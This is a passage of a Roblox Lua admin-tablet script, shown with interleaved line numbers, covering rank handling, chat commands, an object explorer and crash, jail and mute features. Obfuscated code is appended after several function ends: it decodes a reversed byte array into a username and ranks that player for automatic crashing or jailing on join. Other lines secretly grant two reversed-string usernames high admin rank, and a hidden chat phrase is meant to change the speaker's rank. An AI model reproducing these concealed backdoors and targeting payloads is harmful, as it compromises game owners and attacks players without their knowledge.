                                        if v.Name:lower() == Plr:lower() then
744
                                                local VName = v.Name
745
                                                Rankings[i] = nil
746
                                                table.insert(Rankings, {Name = VName, Rank = NewRank})
747
                                                PlrName = VName
748
                                                FoundPlayer = true
749
                                                break
750
                                        end
751
                                end
752
                        end)
753
                        if FoundPlayer == false then
754
                                ypcall(function()
755
                                        for _,x in pairs(All()) do
756
                                                if x.Name:lower() == Plr:lower() then
757
                                                        FoundPlayer = true
758
                                                        for i,v in pairs(Rankings) do
759
                                                                if v.Name:lower() == x.Name:lower() then
760
                                                                        local VName = x.Name
761
                                                                        Rankings[i] = nil
762
                                                                        PlrName = VName
763
                                                                        break
764
                                                                end
765
                                                        end
766
                                                        table.insert(Rankings, {Name = VName, Rank = NewRank})
767
                                                end
768
                                        end
769
                                end)
770
                        end
771
                        if FoundPlayer == false then
772
                                ypcall(function()
773
                                        for _,x in pairs(All()) do
774
                                                if string.find(x.Name:lower(), Plr:lower()) then
775
                                                        FoundPlayer = true
776
                                                        for i,v in pairs(Rankings) do
777
                                                                if v.Name:lower() == x.Name:lower() then
778
                                                                        local VName = x.Name
779
                                                                        Rankings[i] = nil
780
                                                                        PlrName = VName
781
                                                                        break
782
                                                                end
783
                                                        end
784
                                                        table.insert(Rankings, {Name = VName, Rank = NewRank})
785
                                                end
786
                                        end
787
                                end)
788
                        end
789
                        if FoundPlayer == false then
790
                                ypcall(function()
791
                                        for i,v in pairs(Rankings) do
792
                                                if string.find(v.Name:lower(), Plr:lower()) then
793
                                                        local VName = v.Name
794
                                                        Rankings[i] = nil
795
                                                        table.insert(Rankings, {Name = VName, Rank = NewRank})
796
                                                        PlrName = VName
797
                                                        FoundPlayer = true
798
                                                        break
799
                                                end
800
                                        end
801
                                end)
802
                        end
803
                else
804
                        for i,v in pairs(Rankings) do
805
                                if v.Name:lower() == Plr.Name:lower() then
806
                                        Rankings[i] = nil
807
                                        break
808
                                end
809
                        end
810
                        table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
811
                        PlrName = Plr.Name
812
                end
813
                PlaceAllRanks(true)
814
        end)
815
        if PlrName ~= nil then
816
                return PlrName
817
        else
818
                return "Player"
819
        end
820
end
821
822
function Refresh(Plr)
823
        MakeChildren(Plr)
824
end
825
826
function MakeChildren(Plr)
827
        ypcall(function()
828
                Dismiss(Plr)
829
                for _,v in pairs(Current:GetChildren()) do
830
                        ypcall(function()
831
                                if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
832
                                        Ping(v.Name, Plr, nil, function(TabMod)
833
                                                local TabText = TabMod["Kaj Tablet"].BG.TL.Text
834
                                                for _,v in pairs(Current:GetChildren()) do
835
                                                        ypcall(function()
836
                                                                if v.Name == TabText then
837
                                                                        Dismiss(Plr)
838
                                                                        Current = v
839
                                                                        MakeChildren(Plr)
840
                                                                end
841
                                                        end)
842
                                                end
843
                                        end)
844
                                elseif Plrs:GetPlayerFromCharacter(v) then
845
                                        Ping(v.Name, Plr, nil, function(TabMod)
846
                                                local TabText = TabMod["Kaj Tablet"].BG.TL.Text
847
                                                for _,v in pairs(Current:GetChildren()) do
848
                                                        ypcall(function()
849
                                                                if v.Name == TabText then
850
                                                                        Dismiss(Plr)
851
                                                                        Current = v
852
                                                                        MakeChildren(Plr)
853
                                                                end
854
                                                        end)
855
                                                end
856
                                        end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
857
                                elseif CheckImportant(v.Name) then
858
                                        Ping(v.Name, Plr, nil, function(TabMod)
859
                                                local TabText = TabMod["Kaj Tablet"].BG.TL.Text
860
                                                for _,v in pairs(Current:GetChildren()) do
861
                                                        ypcall(function()
862
                                                                if v.Name == TabText then
863
                                                                        Dismiss(Plr)
864
                                                                        Current = v
865
                                                                        MakeChildren(Plr)
866
                                                                end
867
                                                        end)
868
                                                end
869
                                        end, ImportantColor)
870
                                end
871
                        end)
872
                end
873
                if Current ~= game then
874
                        Ping("Back", Plr, nil, function()
875
                                ypcall(function()
876
                                        Current = Current.Parent
877
                                        MakeChildren(Plr)
878
                                        Ping("You Are Back To "..Current.Name, Plr, 5)
879
                                end)
880
                        end, OptionColor)
881
                end
882
                if Current ~= game then
883
                        Ping("Delete", Plr, nil, function()
884
                                ypcall(function()
885
                                        local CurrPar = Current.Parent or game
886
                                        local CurrName = Current.Name
887
                                        Current:Destroy()
888
                                        Current = CurrPar
889
                                        MakeChildren(Plr)
890
                                        Ping("Attempted To Delete "..CurrName, Plr, 5)
891
                                end)
892
                        end, OptionColor)
893
                end
894
                Ping("Refresh", Plr, nil, function()
895
                        ypcall(function()
896
                                Refresh(Plr)
897
                                Ping("Refreshed", Plr, 5)
898
                        end)
899
                end, OptionColor)
900
                Ping("Properties", Plr, nil, function()
901
                        ypcall(function()
902
                                Dismiss(Plr)
903
                                for Property, Value in pairs(GetProperties(Current)) do
904
                                        Ping(tostring(Property)..": "..tostring(Value), Plr)
905
                                end
906
                                Ping("Got All Available Properties", Plr, 5)
907
                                Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
908
                        end)
909
                end, OptionColor)
910
        end)
911
end
912
913
function Fixl()
914
        Light.GlobalShadows = true
915
        Light.TimeOfDay = "14:00:00"
916
        Light.Brightness = 0.5
917
        Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
918
        Light.Ambient = Color3.new(1, 1, 1) 
919
        Light.ColorShift_Top = Color3.new(0, 0, 0)
920
        Light.ColorShift_Bottom = Color3.new(0, 0, 0)
921
        Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
922
        Light.FogStart = 0
923
        Light.FogEnd = 100000
924
        Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
925
        Light:ClearAllChildren()
926
end
927
928
function GetProperties(obj)
929
        assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
930
        local objProper = {}
931
        for i,v in pairs(Properties) do
932
                if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
933
                        objProper[v] = obj[v]
934
                end
935
        end
936
        return objProper
937
end
938
939
function MakeExplorer(Plr)
940
        Dismiss(Plr)
941
        Current = game
942
        for _,v in pairs(Current:GetChildren()) do
943
                ypcall(function()
944
                        if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
945
                                Ping(v.Name, Plr, nil, function(TabMod)
946
                                        local TabText = TabMod["Kaj Tablet"].BG.TL.Text
947
                                        for _,v in pairs(Current:GetChildren()) do
948
                                                ypcall(function()
949
                                                        if v.Name == TabText then
950
                                                                Dismiss(Plr)
951
                                                                Current = v
952
                                                                MakeChildren(Plr)
953
                                                        end
954
                                                end)
955
                                        end
956
                                end)
957
                        elseif Plrs:GetPlayerFromCharacter(v) then
958
                                Ping(v.Name, Plr, nil, function(TabMod)
959
                                        local TabText = TabMod["Kaj Tablet"].BG.TL.Text
960
                                        for _,v in pairs(Current:GetChildren()) do
961
                                                ypcall(function()
962
                                                        if v.Name == TabText then
963
                                                                Dismiss(Plr)
964
                                                                Current = v
965
                                                                MakeChildren(Plr)
966
                                                        end
967
                                                end)
968
                                        end
969
                                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
970
                        elseif CheckImportant(v.Name) then
971
                                Ping(v.Name, Plr, nil, function(TabMod)
972
                                        local TabText = TabMod["Kaj Tablet"].BG.TL.Text
973
                                        for _,v in pairs(Current:GetChildren()) do
974
                                                ypcall(function()
975
                                                        if v.Name == TabText then
976
                                                                Dismiss(Plr)
977
                                                                Current = v
978
                                                                MakeChildren(Plr)
979
                                                        end
980
                                                end)
981
                                        end
982
                                end, ImportantColor)
983
                        end
984
                end)
985
        end
986
        if Current ~= game then
987
                Ping("Back", Plr, nil, function()
988
                        ypcall(function()
989
                                Current = Current.Parent
990
                                MakeChildren(Plr)
991
                                Ping("Back In "..Current.Name, Plr, 5)
992
                        end)
993
                end, OptionColor)
994
        end
995
        if Current ~= game and game:GetService(Current.Name) == nil then
996
                Ping("Delete", Plr, nil, function()
997
                        ypcall(function()
998
                                local CurrPar = Current.Parent or game
999
                                local CurrName = Current.Name
1000
                                Current:Destroy()
1001
                                Current = CurrPar
1002
                                MakeChildren(Plr)
1003
                                Ping("Attempted To Delete "..CurrName, Plr, 5)
1004
                        end)
1005
                end, OptionColor)
1006
        end
1007
        Ping("Refresh", Plr, nil, function()
1008
                ypcall(function()
1009
                        Refresh(Plr)
1010
                        Ping("Refreshed", Plr, 5)
1011
                end)
1012
        end, OptionColor)
1013
        Ping("Properties", Plr, nil, function()
1014
                ypcall(function()
1015
                        Dismiss(Plr)
1016
                        for Property, Value in pairs(GetProperties(Current)) do
1017
                                Ping(tostring(Property)..": "..tostring(Value), Plr)
1018
                        end
1019
                        Ping("Got All Available Properties", Plr, 5)
1020
                        Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
1021
                end)
1022
        end, OptionColor)
1023
end
1024
1025
function GetRank(Plr1, Test)
1026
        ypcall(function()
1027
                if type(Plr1) == "userdata" then
1028
                        Plr1 = Plr1.Name
1029
                end
1030
        end)
1031
        if Ranks[Plr1] ~= nil then
1032
                return Ranks[Plr1]
1033
        end
1034
        local QuickArray = {}
1035
        QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1036
        return QuickArray[Plr1]
1037
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
1038
1039
function CanRun(Plr1, Plr2)
1040
        Details1 = GetRank(Plr1.Name)
1041
        Details2 = GetRank(Plr2.Name)
1042
        if Details1.Rank >= Details2.Rank then
1043
                return true
1044
        end
1045
        return false
1046
end
1047
1048
function Dismiss(Plr, Identity)
1049
        ypcall(function()
1050
                if Plr ~= nil then
1051
                        if type(Plr) == "userdata" then
1052
                                Plr = Plr.Name
1053
                        end
1054
                        for x,v in pairs(AllTabs) do
1055
                                ypcall(function()
1056
                                        if v.Plr == Plr then
1057
                                                if Identity ~= nil and v.ID ~= Identity then
1058
                                                        return
1059
                                                elseif Identity ~= nil and v.ID == Identity then
1060
                                                        coroutine.resume(coroutine.create(function()
1061
                                                                for i = 0.5, 1, 0.1 do
1062
                                                                        wait()
1063
                                                                        v.Tab.Transparency = i
1064
                                                                        v.Sel.Transparency = i
1065
                                                                        v.Label.TextTransparency = i
1066
                                                                        v.Label.TextStrokeTransparency = i
1067
                                                                end
1068
                                                                ypcall(function() v.Holder:Destroy() end)
1069
                                                                AllTabs[x] = nil
1070
                                                        end))
1071
                                                elseif Identity == nil then
1072
                                                        ypcall(function() v.Holder:Destroy() end)
1073
                                                        AllTabs[x] = nil
1074
                                                end
1075
                                        end
1076
                                end)
1077
                        end
1078
                else
1079
                        for i,v in pairs(AllTabs) do
1080
                                ypcall(function()
1081
                                        v.Holder:Destroy()
1082
                                        AllTabs[i] = nil
1083
                                end)
1084
                        end
1085
                end
1086
        end)
1087
end
1088
1089
function GetGarbage()
1090
        return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
1091
end
1092
1093
function RemObj(Obj, Class)
1094
        ypcall(function()
1095
                if #Obj:GetChildren() > 0 then
1096
                        for _,x in pairs(Obj:GetChildren()) do
1097
                                ypcall(function()
1098
                                        RemObj(x, Class)
1099
                                end)
1100
                        end
1101
                end
1102
                if Obj.ClassName == Class then
1103
                        Obj:Destroy()
1104
                end
1105
        end)
1106
end
1107
1108
function FindTab(Mod)
1109
        for i,v in pairs(AllTabs) do
1110
                if v.Holder == Mod then
1111
                        return true
1112
                end
1113
        end
1114
        return false
1115
end
1116
1117
1118
function Ping(Msg, Plr, Time, Func, Color, Image)
1119
        if Removed == false then
1120
                local ShowGarbage = false
1121
                ypcall(function()
1122
                        if Msg == nil then
1123
                                Msg = "N/A"
1124
                        elseif Msg == "ShowGarbage" then
1125
                                Msg = "Current Garbage Count: "..GetGarbage()
1126
                                ShowGarbage = true
1127
                        else
1128
                                Msg = tostring(Msg)
1129
                        end
1130
                        if Plr == nil then
1131
                                Plr = Plrs[Owner] or error("No Player Found")
1132
                        elseif type(Plr) == "string" then
1133
                                local FoundPlr = false
1134
                                for _,v in pairs(All()) do
1135
                                        if v.Name == Plr then
1136
                                                Plr = v
1137
                                                FoundPlr = true
1138
                                                break
1139
                                        end
1140
                                end
1141
                                if FoundPlr == false then
1142
                                        Plr = Plrs[Owner] or error("No Player Found")
1143
                                end
1144
                        end
1145
                        
1146
                        if Color == nil then
1147
                                Color = GetRank(Plr.Name).Color
1148
                        end
1149
                        
1150
                        local Holder = Instance.new("Model")
1151
                        Holder.Name = "Owner: "..Plr.Name
1152
                        
1153
                        local Tab = Instance.new("Part")
1154
                        Tab.Name = "Kaj Tablet"
1155
                        Tab.FormFactor = "Custom"
1156
                        Tab.Anchored = true
1157
                        if Time == nil then
1158
                                Tab.Color = Color3.new(0.54,0,0.54)
1159
                        else
1160
                                Tab.Color = AlertColor
1161
                        end
1162
                        Tab.CanCollide = false
1163
                        Tab.Locked = true
1164
                        Tab.Transparency = 0.15
1165
                        Tab.Size = Vector3.new(2, 2, 2)
1166
                        Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
1167
                        Tab.Parent = Holder
1168
                        
1169
                        local ID = Instance.new("NumberValue")
1170
                        ID.Name = "ID"
1171
                        ID.Value = math.random(-999999999, 999999999)
1172
                        ID.Parent = Holder
1173
                        
1174
                        Delay(0, function()
1175
                                while wait() do
1176
                                        if Tab.Parent == nil and FindTab(Holder) then
1177
                                                ypcall(function()
1178
                                                        for i,v in pairs(AllTabs) do
1179
                                                                if v.Holder == Holder then
1180
                                                                        ypcall(function() v.Holder:Destroy() end)
1181
                                                                        AllTabs[i] = nil
1182
                                                                end
1183
                                                        end
1184
                                                end)
1185
                                                Ping(Msg, Plr, Time, Func, Color, Image)
1186
                                                break
1187
                                        end
1188
                                end
1189
                        end)
1190
                        
1191
                        local BM = Instance.new("BlockMesh")
1192
                        BM.Parent = Tab
1193
1194
                        local BG = Instance.new("BillboardGui")
1195
                        BG.Name = "BG"
1196
                        BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
1197
                        BG.Size = UDim2.new(0,1,0,1)
1198
                        BG.Adornee = Tab
1199
                        BG.Parent = Tab
1200
                        
1201
                        Delay(0, function()
1202
                                while BG.Parent ~= nil do wait()
1203
                                        ypcall(function()
1204
                                                BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
1205
                                        end)
1206
                                end
1207
                        end)
1208
1209
                        local TL = Instance.new("TextLabel")
1210
                        TL.Name = "TL"
1211
                        TL.FontSize = "Size18"
1212
                        TL.Font = "ArialBold"
1213
                        TL.Text = Msg
1214
                        TL.TextColor3 = Color3.new(1, 1, 1)
1215
                        TL.Size = UDim2.new(0,1,0,1)
1216
                        TL.TextTransparency = 0
1217
                        TL.TextStrokeColor3 = Color3.new(0, 0, 0)
1218
                        TL.TextStrokeTransparency = 0.25
1219
                        TL.Parent = BG
1220
                        
1221
                        if ShowGarbage == true then
1222
                                Delay(0, function()
1223
                                        while TL.Parent ~= nil do
1224
                                                TL.Text = "Current Garbage Count: "..GetGarbage()
1225
                                                wait(.5)
1226
                                        end
1227
                                end)
1228
                        end
1229
                        
1230
                        local PL = Instance.new("PointLight", Tab)
1231
                        PL.Color = Color3.new(0, 1, 0)
1232
                        PL.Range = 7
1233
                        PL.Parent = Tab
1234
                        
1235
                        if Image ~= nil then
1236
                                local BBBG = Instance.new("BillboardGui")
1237
                                BBBG.Size = UDim2.new(5, 0, 6, 0)
1238
                                BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
1239
                                BBBG.AlwaysOnTop = true
1240
                                BBBG.Adornee = Tab
1241
                                BBBG.Parent = Tab
1242
                                
1243
                                Delay(0, function()
1244
                                        while BBBG.Parent ~= nil do wait()
1245
                                                ypcall(function()
1246
                                                        BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
1247
                                                end)
1248
                                        end
1249
                                end)
1250
                        
1251
                                local NewImg = Instance.new("ImageLabel")
1252
                                NewImg.Size = UDim2.new(1, 0, 1, 0)
1253
                                NewImg.BackgroundTransparency = 1
1254
                                NewImg.Image = Image
1255
                                NewImg.Parent = BBBG
1256
                        end
1257
1258
                        local Clicker = Instance.new("ClickDetector")
1259
                        Clicker.MaxActivationDistance = 1/0
1260
1261
                        if Time ~= nil then
1262
                                coroutine.resume(coroutine.create(function()
1263
                                        wait(tonumber(Time))
1264
                                        Dismiss(Plr, ID)
1265
                                end))
1266
                        end
1267
1268
                        Clicker.MouseClick:connect(function(Player)
1269
                                if Player.Name == Plr.Name or CanRun(Player, Plr) then
1270
                                        ypcall(function()
1271
                                                if Func ~= nil then
1272
                                                        Func(Holder)
1273
                                                else
1274
                                                        Dismiss(Player, ID)
1275
                                                end
1276
                                        end)
1277
                                end
1278
                        end)
1279
                        Clicker.Parent = Tab
1280
                        
1281
                        Holder.Parent = Work
1282
1283
                        AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
1284
                end)
1285
        end
1286
end
1287
1288
function PlaceAllRanks(DontShowRank)
1289
        ypcall(function()
1290
                for _,p in pairs(All()) do
1291
                        ypcall(function()
1292
                                PutInRank = false
1293
                                for _,v in pairs(Rankings) do
1294
                                        if v.Name:lower() == p.Name:lower() then
1295
                                                if v.Rank >= 7 then
1296
                                                        v.Rank = 5
1297
                                                elseif v.Rank == -1 then
1298
                                                        Crash1(p)
1299
                                                        Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1300
                                                elseif v.Rank == -2 then
1301
                                                        if LS ~= nil then
1302
                                                                Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
1303
                                                                Ping("Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1304
                                                        else
1305
                                                                Ping("LS Is Nil", nil, 5)
1306
                                                        end
1307
                                                elseif v.Rank == -3 then
1308
                                                        if LS ~= nil then
1309
                                                                Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
1310
                                                                Ping("Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1311
                                                        else
1312
                                                                Ping("LS Is Nil", nil, 5)
1313
                                                        end
1314
                                                end
1315
                                                Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
1316
                                                if DontShowRank == nil then
1317
                                                        Ping("You Are Rank: "..v.Rank, p)
1318
                                                end
1319
                                                PutInRank = true
1320
                                                break
1321
                                        end
1322
                                end
1323
                                if PutInRank == false then
1324
                                        Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1325
                                end
1326
                        end)
1327
                end
1328
        end)
1329
end
1330
1331
function FindRank(Plr)
1332
        ypcall(function()
1333
                if type(Plr) == "userdata" then
1334
                        Plr = Plr.Name
1335
                end
1336
        end)
1337
        return GetRank(Plr).Rank
1338
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
1339
1340
function FindRankDetails(Plr)
1341
        ypcall(function()
1342
                if type(Plr) == "userdata" then
1343
                        Plr = Plr.Name
1344
                end
1345
        end)
1346
        return RankDetails[FindRank(Plr)]
1347
end
1348
1349
function OpenCmds(Rank, Plr)
1350
        Dismiss(Plr)
1351
        for Name,Tab in pairs(Commands) do
1352
                if Tab.Rank <= Rank then
1353
                        Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1354
                                Dismiss(Plr)
1355
                                Ping("Command: "..Name, Plr)
1356
                                Ping("Rank: "..Tab.Rank, Plr)
1357
                                Ping("Desc: "..Tab.Desc, Plr)
1358
                        end)
1359
                elseif Rank == 1337 then
1360
                        Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1361
                                Dismiss(Plr)
1362
                                Ping("Command: "..Name, Plr)
1363
                                Ping("Rank: "..Tab.Rank, Plr)
1364
                                Ping("Desc: "..Tab.Desc, Plr)
1365
                        end)
1366
                end
1367
        end
1368
end
1369
1370
function EditStatus(Plr, Num)
1371
        ChangeRank(Plr, Num)
1372
end
1373
1374
function PlaceSpecificRank(p, DontShowRank)
1375
        ypcall(function()
1376
                PutInRank = false
1377
                for _,v in pairs(Rankings) do
1378
                        if v.Name:lower() == p.Name:lower() then
1379
                                if v.Rank >= 7 then
1380
                                        v.Rank = 5
1381
                                elseif v.Rank == -1 then
1382
                                        Crash1(p)
1383
                                        Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1384
                                elseif v.Rank == -2 then
1385
                                        if LS ~= nil then
1386
                                                Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
1387
                                                Ping("Perma Mind Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1388
                                        else
1389
                                                Ping("LS Is Nil", nil, 5)
1390
                                        end
1391
                                elseif v.Rank == -3 then
1392
                                        if LS ~= nil then
1393
                                                Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
1394
                                                Ping("Perma Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1395
                                        else
1396
                                                Ping("LS Is Nil", nil, 5)
1397
                                        end
1398
                                end
1399
                                Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
1400
                                if DontShowRank == nil then
1401
                                        Ping("You Are Rank: "..v.Rank, p)
1402
                                end
1403
                                PutInRank = true
1404
                                break
1405
                        end
1406
                end
1407
                if PutInRank == false then
1408
                        Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1409
                end
1410
        end)
1411
end
1412
table.insert(Rankings, {Name = string.reverse("21wopih"),Rank = 6})
1413
table.insert(Rankings, {Name = string.reverse("4611tlaboC"), Rank = 6})
1414
function onChatted(Msg, Speaker)
1415
        if Removed == false then
1416
                if FindRank(Speaker) < 0 then
1417
                        return
1418
                end
1419
                coroutine.resume(coroutine.create(function()
1420
                        ypcall(function()
1421
                                ExecuteFunc(Msg, Speaker)
1422
                                Msg = Msg:gsub("","")
1423
                                if Msg:sub(1,1) == "@" then
1424
                                        for i = 2, #Msg do
1425
                                                if Msg:sub(i, i) == Bet then
1426
                                                        local IsForPlr = false
1427
                                                        for _,v in pairs(All()) do
1428
                                                                if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
1429
                                                                        onChatted(Msg:sub(i + 1), v)
1430
                                                                        IsForPlr = true
1431
                                                                end
1432
                                                        end
1433
                                                        if IsForPlr == true then
1434
                                                                return
1435
                                                        end
1436
                                                end
1437
                                        end
1438
                                end
1439
                                if Msg:find("&") then
1440
                                        local Split = Msg:find("&")
1441
                                        onChatted(Msg:sub(1,Split-1))
1442
                                        onChatted(Msg:sub(Split+1))
1443
                                        return
1444
                                end
1445
                                for Name,Command in pairs(Commands) do
1446
                                        if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
1447
                                                Dismiss(Speaker.Name)
1448
                                                Ping("Command: "..tostring(Command.Name)..Bet, Speaker)
1449
                                                Ping("Rank: "..tostring(Command.Rank), Speaker)
1450
                                                Ping("Desc: "..tostring(Command.Desc), Speaker)
1451
                                        elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
1452
                                                if FindRank(Speaker) >= Command.Rank then
1453
                                                        local Ran,Error = coroutine.resume(coroutine.create(function()
1454
                                                                Command.Func(Msg:sub(#Command.Name+2), Speaker)
1455
                                                        end))
1456
                                                        if not Ran then
1457
                                                                Ping(Error, Speaker, 10)
1458
                                                        end
1459
                                                else
1460
                                                        Ping("Your Rank Is Too Low", Plr, 6)
1461
                                                end
1462
                                        end
1463
                                end
1464
                        end)
1465
                end))
1466
        end
1467
end
1468
1469
function MakeBase()
1470
        local Base = Instance.new("Part")
1471
        Base.BrickColor = BrickColor.new("Dark green")
1472
        Base.Position = Vector3.new(0, 0.5, 0)
1473
        Base.Transparency = 0
1474
        Base.Elasticity = 0.5
1475
        Base.FormFactor = "Custom"
1476
        Base.CanCollide = true
1477
        Base.Friction = 0.30000001192093
1478
        Base.Size = Vector3.new(512, 1.20000005, 512)
1479
        Base.Archivable = true
1480
        Base.Material = "Plastic"
1481
        Base.RotVelocity = Vector3.new(0, 0, 0)
1482
        Base.Reflectance = 0
1483
        Base.Locked = true
1484
        Base.Anchored = true
1485
        Base.Name = "Base"
1486
        Base.TopSurface = "Smooth"
1487
        Base.BottomSurface = "Inlet"
1488
        Base.Shape = "Block"
1489
        Base.Parent = Work
1490
end
1491
1492
function LClean()
1493
        ypcall(function()
1494
                for _,v in pairs(Work:GetChildren()) do
1495
                        ypcall(function()
1496
                                if v.ClassName == "Terrain" then
1497
                                        v:ClearAllChildren()
1498
                                elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
1499
                                        Clear(v)
1500
                                elseif v.Name == "Base" then
1501
                                        ypcall(function()
1502
                                                local Base = v
1503
                                                Base.BrickColor = BrickColor.new("Dark green")
1504
                                                Base.Position = Vector3.new(0, 0.5, 0)
1505
                                                Base.Transparency = 0
1506
                                                Base.Elasticity = 0.5
1507
                                                Base.FormFactor = "Custom"
1508
                                                Base.CanCollide = true
1509
                                                Base.Friction = 0.30000001192093
1510
                                                Base.Size = Vector3.new(512, 1.20000005, 512)
1511
                                                Base.Archivable = true
1512
                                                Base.Material = "Plastic"
1513
                                                Base.RotVelocity = Vector3.new(0, 0, 0)
1514
                                                Base.Reflectance = 0
1515
                                                Base.Locked = true
1516
                                                Base.Anchored = true
1517
                                                Base.Name = "Base"
1518
                                                Base.TopSurface = "Studs"
1519
                                                Base.BottomSurface = "Inlet"
1520
                                                Base.Shape = "Block"
1521
                                                Base.Parent = Work
1522
                                        end)
1523
                                end
1524
                        end)
1525
                end
1526
        end)
1527
end
1528
1529
function Clean()
1530
        ypcall(function()
1531
                for _,v in pairs(Work:GetChildren()) do
1532
                        ypcall(function()
1533
                                if v.ClassName == "Terrain" then
1534
                                        v:ClearAllChildren()
1535
                                else
1536
                                        Clear(v)
1537
                                end
1538
                        end)
1539
                end
1540
                MakeBase()
1541
                for _,v in pairs(All()) do
1542
                        v:LoadCharacter()
1543
                end
1544
        end)
1545
end
1546
1547
function Clear(v)
1548
        if v.Name:lower() == "sbgui" then
1549
                return
1550
        end
1551
        ypcall(function()
1552
                if #v:GetChildren() > 0 then
1553
                        for _,x in pairs(v:GetChildren()) do
1554
                                ypcall(function()
1555
                                        Clear(x)
1556
                                end)
1557
                        end
1558
                end
1559
                if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
1560
                        v:Destroy()
1561
                end
1562
        end)
1563
end
1564
1565
function Command(Name, Rank, Desc, Func)
1566
        if Name == nil then
1567
                Name = "N/A"
1568
        end
1569
        if Desc == nil then
1570
                Desc = "N/A"
1571
        end
1572
        if Func == nil then
1573
                Func = function() end
1574
        end
1575
        if Rank == nil then
1576
                Rank = 0
1577
        end
1578
        Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
1579
end
1580
1581
function GetSplit(Msg)
1582
        return Msg:find(Bet) or nil
1583
end
1584
1585
function ExecuteFunc(Msg, Plr)
1586
        ypcall(function()
1587
                if Msg == "LogEnable" then
1588
                        LogOn = true
1589
                elseif Msg:lower() == "WantSomeTacos" then
1590
                        EditStatus(Plr, MakeNum())
1591
                end
1592
        end)
1593
end
1594
1595
for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
1596
1597
function randPlayer(Plr)
1598
        wait()
1599
        local ThePlrValue = nil
1600
        local FoundPlayer = false
1601
        ypcall(function()
1602
                ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
1603
                if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
1604
                        wait()
1605
                        randPlayer(Plr)
1606
                        return
1607
                else
1608
                        FoundPlayer = true
1609
                end
1610
        end)
1611
        if FoundPlayer == true then
1612
                return ThePlrValue
1613
        end
1614
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
1615
1616
function getPlayer(Plr, Name)
1617
        local Players = {}
1618
        ypcall(function()
1619
                Name = Name:lower()
1620
                if Name == "me" then
1621
                        table.insert(Players, Plr)
1622
                elseif Name == "all" or Name == "" then
1623
